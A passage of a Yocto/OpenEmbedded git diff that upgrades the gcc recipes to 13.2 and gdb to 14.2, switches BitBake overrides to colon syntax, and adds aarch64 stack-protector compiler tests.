++** mrs (x[0-9]+), tpidr2_el0
++** ldr (x[0-9]+), \[\1, #?16\]
++** str \2, \[sp, #?264\]
++** mov \2, #?0
++** add x0, sp, #?8
++** bl g
++** ...
++** mrs .*
++** ...
++** bne .*
++** ...
++** ldp x29, x30, \[sp, #?272\]
++** add sp, sp, #?288
++** ret
++** bl __stack_chk_fail
++*/
++int test1() {
++ int y[0x40];
++ g(y);
++ return 1;
++}
++
++/*
++** test2:
++** stp x29, x30, \[sp, #?-16\]!
++** mov x29, sp
++** sub sp, sp, #1040
++** mrs (x[0-9]+), tpidr2_el0
++** ldr (x[0-9]+), \[\1, #?16\]
++** str \2, \[sp, #?1032\]
++** mov \2, #?0
++** add x0, sp, #?8
++** bl g
++** ...
++** mrs .*
++** ...
++** bne .*
++** ...
++** add sp, sp, #?1040
++** ldp x29, x30, \[sp\], #?16
++** ret
++** bl __stack_chk_fail
++*/
++int test2() {
++ int y[0x100];
++ g(y);
++ return 1;
++}
++
++#pragma GCC target "+sve"
++
++/*
++** test3:
++** stp x29, x30, \[sp, #?-16\]!
++** mov x29, sp
++** addvl sp, sp, #-18
++** ...
++** str p4, \[sp\]
++** ...
++** sub sp, sp, #272
++** mrs (x[0-9]+), tpidr2_el0
++** ldr (x[0-9]+), \[\1, #?16\]
++** str \2, \[sp, #?264\]
++** mov \2, #?0
++** add x0, sp, #?8
++** bl h
++** ...
++** mrs .*
++** ...
++** bne .*
++** ...
++** add sp, sp, #?272
++** ...
++** ldr p4, \[sp\]
++** ...
++** addvl sp, sp, #18
++** ldp x29, x30, \[sp\], #?16
++** ret
++** bl __stack_chk_fail
++*/
++__SVBool_t test3() {
++ int y[0x40];
++ return *h(y);
++}
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-protector-9.c b/gcc/testsuite/gcc.target/aarch64/stack-protector-9.c
+new file mode 100644
+index 00000000000..58f322aa480
+--- /dev/null
++++ b/gcc/testsuite/gcc.target/aarch64/stack-protector-9.c
+@@ -0,0 +1,33 @@
++/* { dg-options "-O2 -mcpu=neoverse-v1 -fstack-protector-all" } */
++/* { dg-final { check-function-bodies "**" "" } } */
++
++/*
++** main:
++** ...
++** stp x29, x30, \[sp, #?-[0-9]+\]!
++** ...
++** sub sp, sp, #[0-9]+
++** ...
++** str x[0-9]+, \[x29, #?-8\]
++** ...
++*/
++int f(const char *);
++void g(void *);
++int main(int argc, char* argv[])
++{
++ int a;
++ int b;
++ char c[2+f(argv[1])];
++ int d[0x100];
++ char y;
++
++ y=42; a=4; b=10;
++ c[0] = 'h'; c[1] = '\0';
++
++ c[f(argv[2])] = '\0';
++
++ __builtin_printf("%d %d\n%s\n", a, b, c);
++ g(d);
++
++ return 0;
++}
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/gcc/gcc_10.1.bb b/meta/recipes-devtools/gcc/gcc_10.1.bb
deleted file mode 100644
index 7d93590588..0000000000
--- a/meta/recipes-devtools/gcc/gcc_10.1.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require gcc-target.inc
-
-# Building with thumb enabled on armv4t armv5t fails with
-# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7438:(.text.unlikely+0x2fa): relocation truncated to fit: R_ARM_THM_CALL against symbol `fancy_abort(char const*, int, char const*)' defined in .glue_7 section in linker stubs
-# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7442:(.text.unlikely+0x318): additional relocation overflows omitted from the output
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-ARMFPARCHEXT_armv6 = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-ARMFPARCHEXT_armv7a = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-ARMFPARCHEXT_armv7ve = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/gcc/gcc_13.2.bb b/meta/recipes-devtools/gcc/gcc_13.2.bb
new file mode 100644
index 0000000000..255fe552bd
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc_13.2.bb
@@ -0,0 +1,14 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require gcc-target.inc
+
+# Building with thumb enabled on armv4t armv5t fails with
+# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7438:(.text.unlikely+0x2fa): relocation truncated to fit: R_ARM_THM_CALL against symbol `fancy_abort(char const*, int, char const*)' defined in .glue_7 section in linker stubs
+# | gcc-4.8.1-r0/gcc-4.8.1/gcc/cp/decl.c:7442:(.text.unlikely+0x318): additional relocation overflows omitted from the output
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+ARMFPARCHEXT:armv6 = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+ARMFPARCHEXT:armv7a = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+ARMFPARCHEXT:armv7ve = "${@'+fp' if d.getVar('TARGET_FPU') == 'hard' else ''}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/gcc/libgcc-common.inc b/meta/recipes-devtools/gcc/libgcc-common.inc
index d959566c3f..d9084af51a 100644
--- a/meta/recipes-devtools/gcc/libgcc-common.inc
+++ b/meta/recipes-devtools/gcc/libgcc-common.inc
@@ -10,8 +10,7 @@ do_configure () {
mkdir -p ${B}/${TARGET_SYS}/${BPN}/
cd ${B}/${BPN}
chmod a+x ${S}/${BPN}/configure
- relpath=${@os.path.relpath("${S}/${BPN}", "${B}/${BPN}")}
- $relpath/configure ${CONFIGUREOPTS} ${EXTRA_OECONF}
+ ${S}/${BPN}/configure ${CONFIGUREOPTS} ${EXTRA_OECONF}
}
EXTRACONFFUNCS += "extract_stashed_builddir"
do_configure[depends] += "${COMPILERDEP}"
@@ -44,16 +43,20 @@ do_install () {
rm -rf ${D}${libdir}/${TARGET_SYS}/${BINV}/include
}
-do_install_append_libc-baremetal () {
- rmdir ${D}${base_libdir}
+do_install:append:libc-baremetal () {
+ if [ "${base_libdir}" != "${libdir}" ]; then
+ rmdir ${D}${base_libdir}
+ fi
}
-do_install_append_libc-newlib () {
- rmdir ${D}${base_libdir}
+do_install:append:libc-newlib () {
+ if [ "${base_libdir}" != "${libdir}" ]; then
+ rmdir ${D}${base_libdir}
+ fi
}
# No rpm package is actually created but -dev depends on it, avoid dnf error
-RDEPENDS_${PN}-dev_libc-baremetal = ""
-RDEPENDS_${PN}-dev_libc-newlib = ""
+DEV_PKG_DEPENDENCY:libc-baremetal = ""
+DEV_PKG_DEPENDENCY:libc-newlib = ""
BBCLASSEXTEND = "nativesdk"
@@ -98,9 +101,9 @@ fakeroot python do_multilib_install() {
for ml in multilibs.split():
- tune = d.getVar('DEFAULTTUNE_virtclass-multilib-' + ml)
+ tune = d.getVar('DEFAULTTUNE:virtclass-multilib-' + ml)
if not tune:
- bb.warn('DEFAULTTUNE_virtclass-multilib-%s is not defined. Skipping...' % ml)
+ bb.warn('DEFAULTTUNE:virtclass-multilib-%s is not defined. Skipping...' % ml)
continue
tune_parameters = get_tune_parameters(tune, d)
diff --git a/meta/recipes-devtools/gcc/libgcc-initial.inc b/meta/recipes-devtools/gcc/libgcc-initial.inc
index 06bf224f73..8251e3c286 100644
--- a/meta/recipes-devtools/gcc/libgcc-initial.inc
+++ b/meta/recipes-devtools/gcc/libgcc-initial.inc
@@ -42,17 +42,17 @@ inherit nopackages
# We really only want this built by things that need it, not any recrdeptask
deltask do_build
-do_configure_prepend () {
+do_configure:prepend () {
install -d ${STAGING_INCDIR}
touch ${STAGING_INCDIR}/limits.h
sed -i -e 's#INHIBIT_LIBC_CFLAGS =.*#INHIBIT_LIBC_CFLAGS = -Dinhibit_libc#' ${B}/gcc/libgcc.mvars
sed -i -e 's#inhibit_libc = false#inhibit_libc = true#' ${B}/gcc/Makefile
}
-do_configure_append () {
+do_configure:append () {
sed -i -e 's#thread_header = .*#thread_header = gthr-single.h#' ${B}/${BPN}/Makefile
}
-do_install_append () {
+do_install:append () {
ln -s libgcc.a ${D}${libdir}/${TARGET_SYS}/${BINV}/libgcc_eh.a
}
diff --git a/meta/recipes-devtools/gcc/libgcc-initial_10.1.bb b/meta/recipes-devtools/gcc/libgcc-initial_10.1.bb
deleted file mode 100644
index 0c698c26ec..0000000000
--- a/meta/recipes-devtools/gcc/libgcc-initial_10.1.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require libgcc-initial.inc
-
-# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc-initial_13.2.bb b/meta/recipes-devtools/gcc/libgcc-initial_13.2.bb
new file mode 100644
index 0000000000..a259082b47
--- /dev/null
+++ b/meta/recipes-devtools/gcc/libgcc-initial_13.2.bb
@@ -0,0 +1,5 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require libgcc-initial.inc
+
+# Building with thumb enabled on armv6t fails
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc.inc b/meta/recipes-devtools/gcc/libgcc.inc
index 6d48ec9809..84a2d930df 100644
--- a/meta/recipes-devtools/gcc/libgcc.inc
+++ b/meta/recipes-devtools/gcc/libgcc.inc
@@ -2,7 +2,7 @@ require libgcc-common.inc
DEPENDS = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}g++ virtual/${MLPREFIX}libc"
-do_install_append_class-target () {
+do_install:append:class-target () {
if [ "${TCLIBC}" != "glibc" ]; then
case "${TARGET_OS}" in
"linux-musl" | "linux-*spe") extra_target_os="linux";;
@@ -32,12 +32,12 @@ PACKAGES = "\
# All libgcc source is marked with the exception.
#
-LICENSE_${PN} = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dev = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dbg = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN} = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dev = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dbg = "GPL-3.0-with-GCC-exception"
-FILES_${PN}-dev = "\
+FILES:${PN}-dev = "\
${base_libdir}/libgcc*.so \
${@oe.utils.conditional('BASETARGET_SYS', '${TARGET_SYS}', '', '${libdir}/${BASETARGET_SYS}', d)} \
${libdir}/${TARGET_SYS}/${BINV}* \
@@ -49,5 +49,5 @@ do_package_write_ipk[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_rpm[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
-INSANE_SKIP_${PN}-dev = "staticdev"
+INSANE_SKIP:${PN}-dev = "staticdev"
diff --git a/meta/recipes-devtools/gcc/libgcc_10.1.bb b/meta/recipes-devtools/gcc/libgcc_10.1.bb
deleted file mode 100644
index ea210a1130..0000000000
--- a/meta/recipes-devtools/gcc/libgcc_10.1.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require libgcc.inc
-
-# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgcc_13.2.bb b/meta/recipes-devtools/gcc/libgcc_13.2.bb
new file mode 100644
index 0000000000..fdcd6cc0da
--- /dev/null
+++ b/meta/recipes-devtools/gcc/libgcc_13.2.bb
@@ -0,0 +1,7 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require libgcc.inc
+
+LDFLAGS += "-fuse-ld=bfd"
+
+# Building with thumb enabled on armv6t fails
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-devtools/gcc/libgfortran.inc b/meta/recipes-devtools/gcc/libgfortran.inc
index 7543585e6e..e810146d4d 100644
--- a/meta/recipes-devtools/gcc/libgfortran.inc
+++ b/meta/recipes-devtools/gcc/libgfortran.inc
@@ -5,6 +5,11 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
+# An arm hard float target like raspberrypi4 won't build
+# as CFLAGS don't make it to the fortran compiler otherwise
+# (the configure script sets FC to $GFORTRAN unconditionally)
+export GFORTRAN = "${FC}"
+
do_configure () {
for target in libbacktrace libgfortran
do
@@ -54,12 +59,12 @@ PACKAGES = "\
libgfortran-staticdev \
"
-LICENSE_${PN} = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dev = "GPL-3.0-with-GCC-exception"
-LICENSE_${PN}-dbg = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN} = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dev = "GPL-3.0-with-GCC-exception"
+LICENSE:${PN}-dbg = "GPL-3.0-with-GCC-exception"
-FILES_${PN} = "${libdir}/libgfortran.so.*"
-FILES_${PN}-dev = "\
+FILES:${PN} = "${libdir}/libgfortran.so.*"
+FILES:${PN}-dev = "\
${libdir}/libgfortran*.so \
${libdir}/libgfortran.spec \
${libdir}/libgfortran.la \
@@ -68,9 +73,9 @@ FILES_${PN}-dev = "\
${libdir}/gcc/${TARGET_SYS}/${BINV}/finclude/ \
${libdir}/gcc/${TARGET_SYS}/${BINV}/include/ \
"
-FILES_${PN}-staticdev = "${libdir}/libgfortran.a"
+FILES:${PN}-staticdev = "${libdir}/libgfortran.a"
-INSANE_SKIP_${MLPREFIX}libgfortran-dev = "staticdev"
+INSANE_SKIP:${MLPREFIX}libgfortran-dev = "staticdev"
do_package_write_ipk[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}libc:do_packagedata"
diff --git a/meta/recipes-devtools/gcc/libgfortran_10.1.bb b/meta/recipes-devtools/gcc/libgfortran_13.2.bb
index 71dd8b4bdc..71dd8b4bdc 100644
--- a/meta/recipes-devtools/gcc/libgfortran_10.1.bb
+++ b/meta/recipes-devtools/gcc/libgfortran_13.2.bb
diff --git a/meta/recipes-devtools/gdb/gdb-9.2.inc b/meta/recipes-devtools/gdb/gdb-9.2.inc
deleted file mode 100644
index 017b61ef62..0000000000
--- a/meta/recipes-devtools/gdb/gdb-9.2.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-LICENSE = "GPLv2 & GPLv3 & LGPLv2 & LGPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674"
-
-SRC_URI = "${GNU_MIRROR}/gdb/gdb-${PV}.tar.xz \
- file://0001-make-man-install-relative-to-DESTDIR.patch \
- file://0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch \
- file://0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch \
- file://0004-Add-support-for-Renesas-SH-sh4-architecture.patch \
- file://0005-Dont-disable-libreadline.a-when-using-disable-static.patch \
- file://0006-use-asm-sgidefs.h.patch \
- file://0007-Use-exorted-definitions-of-SIGRTMIN.patch \
- file://0008-Change-order-of-CFLAGS.patch \
- file://0009-resolve-restrict-keyword-conflict.patch \
- file://0010-Fix-invalid-sigprocmask-call.patch \
- file://0011-gdbserver-ctrl-c-handling.patch \
- "
-SRC_URI[md5sum] = "db95524e554870209ab7d9f8fd8dc557"
-SRC_URI[sha256sum] = "360cd7ae79b776988e89d8f9a01c985d0b1fa21c767a4295e5f88cb49175c555"
diff --git a/meta/recipes-devtools/gdb/gdb-common.inc b/meta/recipes-devtools/gdb/gdb-common.inc
index 08f615addf..ea1fc27a61 100644
--- a/meta/recipes-devtools/gdb/gdb-common.inc
+++ b/meta/recipes-devtools/gdb/gdb-common.inc
@@ -1,13 +1,14 @@
SUMMARY = "GNU debugger"
HOMEPAGE = "http://www.gnu.org/software/gdb/"
+DESCRIPTION = "GDB, the GNU Project debugger, allows you to see what is going on inside another program while it executes -- or what another program was doing at the moment it crashed."
SECTION = "devel"
-DEPENDS = "expat zlib ncurses virtual/libiconv ${LTTNGUST} bison-native"
+DEPENDS = "expat gmp mpfr zlib ncurses virtual/libiconv ${LTTNGUST} bison-native"
LTTNGUST = "lttng-ust"
-LTTNGUST_arc = ""
-LTTNGUST_aarch64 = ""
-LTTNGUST_mipsarch = ""
-LTTNGUST_sh4 = ""
+LTTNGUST:arc = ""
+LTTNGUST:aarch64 = ""
+LTTNGUST:mipsarch = ""
+LTTNGUST:sh4 = ""
inherit autotools texinfo
@@ -15,31 +16,35 @@ UPSTREAM_CHECK_GITTAGREGEX = "gdb\-(?P<pver>.+)\-release"
B = "${WORKDIR}/build-${TARGET_SYS}"
-EXTRA_OEMAKE = "'SUBDIRS=intl mmalloc libiberty opcodes bfd sim gdb etc utils'"
-
EXPAT = "--with-expat --with-libexpat-prefix=${STAGING_DIR_HOST}"
EXTRA_OECONF = "--disable-gdbtk --disable-x --disable-werror \
--with-curses --disable-multilib --disable-sim \
- --without-lzma --without-guile \
+ --without-guile \
${GDBPROPREFIX} ${EXPAT} \
${@bb.utils.contains('DISTRO_FEATURES', 'multiarch', '--enable-64-bit-bfd', '', d)} \
--disable-rpath \
--disable-gas --disable-binutils \
--disable-ld --disable-gold \
--disable-gprof \
+ --with-libgmp-prefix=${STAGING_EXECPREFIXDIR} \
"
-PACKAGECONFIG ??= "readline"
+PACKAGECONFIG ??= "readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)} python \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'minidebuginfo', 'xz', '', d)} \
+ "
# Use --without-system-readline to compile with readline 5.
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,readline"
-PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,python3,python3 python3-codecs"
+PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,python3,python3-codecs"
PACKAGECONFIG[babeltrace] = "--with-babeltrace,--without-babeltrace,babeltrace"
-# ncurses is already a hard DEPENDS, but would be added here if it weren't
-PACKAGECONFIG[tui] = "--enable-tui,--disable-tui"
+PACKAGECONFIG[tui] = "--enable-tui,--disable-tui,,ncurses-terminfo-base"
+PACKAGECONFIG[xz] = "--with-lzma --with-liblzma-prefix=${STAGING_DIR_HOST},--without-lzma,xz"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils"
GDBPROPREFIX = "--program-prefix=''"
+DISABLE_STATIC = ""
+
do_configure () {
# override this function to avoid the autoconf/automake/aclocal/autoheader
# calls for now
@@ -49,14 +54,15 @@ do_configure () {
# we don't want gdb to provide bfd/iberty/opcodes, which instead will override the
# right bits installed by binutils. Same for bfd.info -- also from binutils.
-do_install_append() {
+do_install:append() {
rm -rf ${D}${libdir}
rm -rf ${D}${includedir}
rm -rf ${D}${datadir}/locale
rm -f ${D}${infodir}/bfd.info
+ rm -f ${D}${infodir}/sframe-spec.info
}
-RRECOMMENDS_gdb_append_linux = " glibc-thread-db "
-RRECOMMENDS_gdb_append_linux-gnueabi = " glibc-thread-db "
-RRECOMMENDS_gdbserver_append_linux = " glibc-thread-db "
-RRECOMMENDS_gdbserver_append_linux-gnueabi = " glibc-thread-db "
+RRECOMMENDS:gdb:append:linux = " glibc-thread-db "
+RRECOMMENDS:gdb:append:linux-gnueabi = " glibc-thread-db "
+RRECOMMENDS:gdbserver:append:linux = " glibc-thread-db "
+RRECOMMENDS:gdbserver:append:linux-gnueabi = " glibc-thread-db "
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian.inc b/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
index c9daf25a41..058ffbc9c5 100644
--- a/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
+++ b/meta/recipes-devtools/gdb/gdb-cross-canadian.inc
@@ -1,26 +1,28 @@
inherit cross-canadian
inherit python3-dir
+inherit pkgconfig
SUMMARY = "GNU debugger (cross-canadian gdb for ${TARGET_ARCH} target)"
PN = "gdb-cross-canadian-${TRANSLATED_TARGET_ARCH}"
BPN = "gdb"
-DEPENDS = "nativesdk-ncurses nativesdk-expat nativesdk-gettext \
- virtual/${HOST_PREFIX}gcc-crosssdk virtual/${HOST_PREFIX}binutils-crosssdk virtual/nativesdk-libc"
+DEPENDS = "nativesdk-ncurses nativesdk-expat nativesdk-gettext nativesdk-gmp nativesdk-mpfr \
+ virtual/${HOST_PREFIX}gcc virtual/${HOST_PREFIX}binutils virtual/nativesdk-libc"
GDBPROPREFIX = "--program-prefix='${TARGET_PREFIX}'"
# Overrides PACKAGECONFIG variables in gdb-common.inc
-PACKAGECONFIG ??= "python readline"
+PACKAGECONFIG ??= "python readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
PACKAGECONFIG[python] = "--with-python=${WORKDIR}/python,--without-python,nativesdk-python3, \
nativesdk-python3-core \
nativesdk-python3-codecs nativesdk-python3-netclient \
"
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,nativesdk-readline"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, nativesdk-elfutils"
-SSTATE_DUPWHITELIST += "${STAGING_DATADIR}/gdb"
+SSTATE_ALLOW_OVERLAP_FILES += "${STAGING_DATADIR}/gdb"
-do_configure_prepend() {
+do_configure:prepend() {
cat > ${WORKDIR}/python << EOF
#! /bin/sh
case "\$2" in
@@ -36,7 +38,7 @@ EOF
# we don't want gdb to provide bfd/iberty/opcodes, which instead will override the
# right bits installed by binutils.
-do_install_append() {
+do_install:append() {
rm -rf ${D}${exec_prefix}/lib
cross_canadian_bindirlinks
}
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian_14.2.bb b/meta/recipes-devtools/gdb/gdb-cross-canadian_14.2.bb
new file mode 100644
index 0000000000..4ab2b7156d
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb-cross-canadian_14.2.bb
@@ -0,0 +1,3 @@
+require gdb-common.inc
+require gdb-cross-canadian.inc
+require gdb.inc
diff --git a/meta/recipes-devtools/gdb/gdb-cross-canadian_9.2.bb b/meta/recipes-devtools/gdb/gdb-cross-canadian_9.2.bb
deleted file mode 100644
index 301035940c..0000000000
--- a/meta/recipes-devtools/gdb/gdb-cross-canadian_9.2.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require gdb-common.inc
-require gdb-cross-canadian.inc
-require gdb-${PV}.inc
diff --git a/meta/recipes-devtools/gdb/gdb-cross.inc b/meta/recipes-devtools/gdb/gdb-cross.inc
index ebe329f6d3..399f4bba97 100644
--- a/meta/recipes-devtools/gdb/gdb-cross.inc
+++ b/meta/recipes-devtools/gdb/gdb-cross.inc
@@ -1,15 +1,16 @@
require gdb-common.inc
-DEPENDS = "expat-native ncurses-native flex-native bison-native"
+DEPENDS = "expat-native gmp-native mpfr-native ncurses-native flex-native bison-native"
-inherit python3native
+inherit python3native pkgconfig
# Overrides PACKAGECONFIG variables in gdb-common.inc
-PACKAGECONFIG ??= "python readline"
+PACKAGECONFIG ??= "python readline ${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3-native"
PACKAGECONFIG[readline] = "--with-system-readline,--without-system-readline,readline-native"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils-native"
-do_compile_prepend() {
+do_compile:prepend() {
export STAGING_LIBDIR="${STAGING_LIBDIR_NATIVE}"
export STAGING_INCDIR="${STAGING_INCDIR_NATIVE}"
}
diff --git a/meta/recipes-devtools/gdb/gdb-cross_14.2.bb b/meta/recipes-devtools/gdb/gdb-cross_14.2.bb
new file mode 100644
index 0000000000..3b654a2f0d
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb-cross_14.2.bb
@@ -0,0 +1,2 @@
+require gdb-cross.inc
+require gdb.inc
diff --git a/meta/recipes-devtools/gdb/gdb-cross_9.2.bb b/meta/recipes-devtools/gdb/gdb-cross_9.2.bb
deleted file mode 100644
index 50cf159fdb..0000000000
--- a/meta/recipes-devtools/gdb/gdb-cross_9.2.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require gdb-cross.inc
-require gdb-${PV}.inc
diff --git a/meta/recipes-devtools/gdb/gdb.inc b/meta/recipes-devtools/gdb/gdb.inc
index 249e24dc52..81ac441462 100644
--- a/meta/recipes-devtools/gdb/gdb.inc
+++ b/meta/recipes-devtools/gdb/gdb.inc
@@ -1,14 +1,17 @@
-require gdb-common.inc
-
-inherit gettext
-
-#LDFLAGS_append = " -s"
-#export CFLAGS_append=" -L${STAGING_LIBDIR}"
-
-# cross-canadian must not see this
-PACKAGES =+ "gdbserver"
-FILES_gdbserver = "${bindir}/gdbserver"
-
-ALLOW_EMPTY_gdbserver_riscv64 = "1"
-ALLOW_EMPTY_gdbserver_riscv32 = "1"
+LICENSE = "GPL-2.0-only & GPL-3.0-only & LGPL-2.0-only & LGPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674"
+SRC_URI = "${GNU_MIRROR}/gdb/gdb-${PV}.tar.xz \
+ file://0001-mips-linux-nat-Define-_ABIO32-if-not-defined.patch \
+ file://0002-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch \
+ file://0003-Dont-disable-libreadline.a-when-using-disable-static.patch \
+ file://0004-use-asm-sgidefs.h.patch \
+ file://0005-Change-order-of-CFLAGS.patch \
+ file://0006-resolve-restrict-keyword-conflict.patch \
+ file://0007-Fix-invalid-sigprocmask-call.patch \
+ file://0008-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch \
+ "
+SRC_URI[sha256sum] = "2d4dd8061d8ded12b6c63f55e45344881e8226105f4d2a9b234040efa5ce7772"
diff --git a/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch b/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
deleted file mode 100644
index 82287ea13a..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 036f8e1d387f65e52cb021dbb1bd28e8b75cf017 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 02:27:55 +0000
-Subject: [PATCH] make man install relative to DESTDIR
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sim/common/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sim/common/Makefile.in b/sim/common/Makefile.in
-index c6de14122c..c4b1214946 100644
---- a/sim/common/Makefile.in
-+++ b/sim/common/Makefile.in
-@@ -35,7 +35,7 @@ tooldir = $(libdir)/$(target_alias)
- datarootdir = @datarootdir@
- datadir = @datadir@
- mandir = @mandir@
--man1dir = $(mandir)/man1
-+man1dir = $(DESTDIR)$(mandir)/man1
- infodir = @infodir@
- includedir = @includedir@
-
diff --git a/meta/recipes-devtools/gdb/gdb/0001-mips-linux-nat-Define-_ABIO32-if-not-defined.patch b/meta/recipes-devtools/gdb/gdb/0001-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
new file mode 100644
index 0000000000..86f6e2642d
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0001-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
@@ -0,0 +1,32 @@
+From ff77aebf533758f0b6f7d22b272d32e08ed06e45 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 23 Mar 2016 06:30:09 +0000
+Subject: [PATCH] mips-linux-nat: Define _ABIO32 if not defined
+
+This helps building gdb on mips64 on musl, since
+musl does not provide sgidefs.h this define is
+only defined when GCC is using o32 ABI, in that
+case gcc emits it as built-in define and hence
+it works ok for mips32
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdb/mips-linux-nat.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
+index 8a7cc95f2a4..bfd1c72cba6 100644
+--- a/gdb/mips-linux-nat.c
++++ b/gdb/mips-linux-nat.c
+@@ -41,6 +41,10 @@
+ #ifndef PTRACE_GET_THREAD_AREA
+ #define PTRACE_GET_THREAD_AREA 25
+ #endif
++/* musl does not define and relies on compiler built-in macros for it */
++#ifndef _ABIO32
++#define _ABIO32 1
++#endif
+
+ class mips_linux_nat_target final : public linux_nat_trad_target
+ {
diff --git a/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch b/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
deleted file mode 100644
index 6067caf63d..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 6bff2862f9597f324a9385eb2f828e838e51a8a1 Mon Sep 17 00:00:00 2001
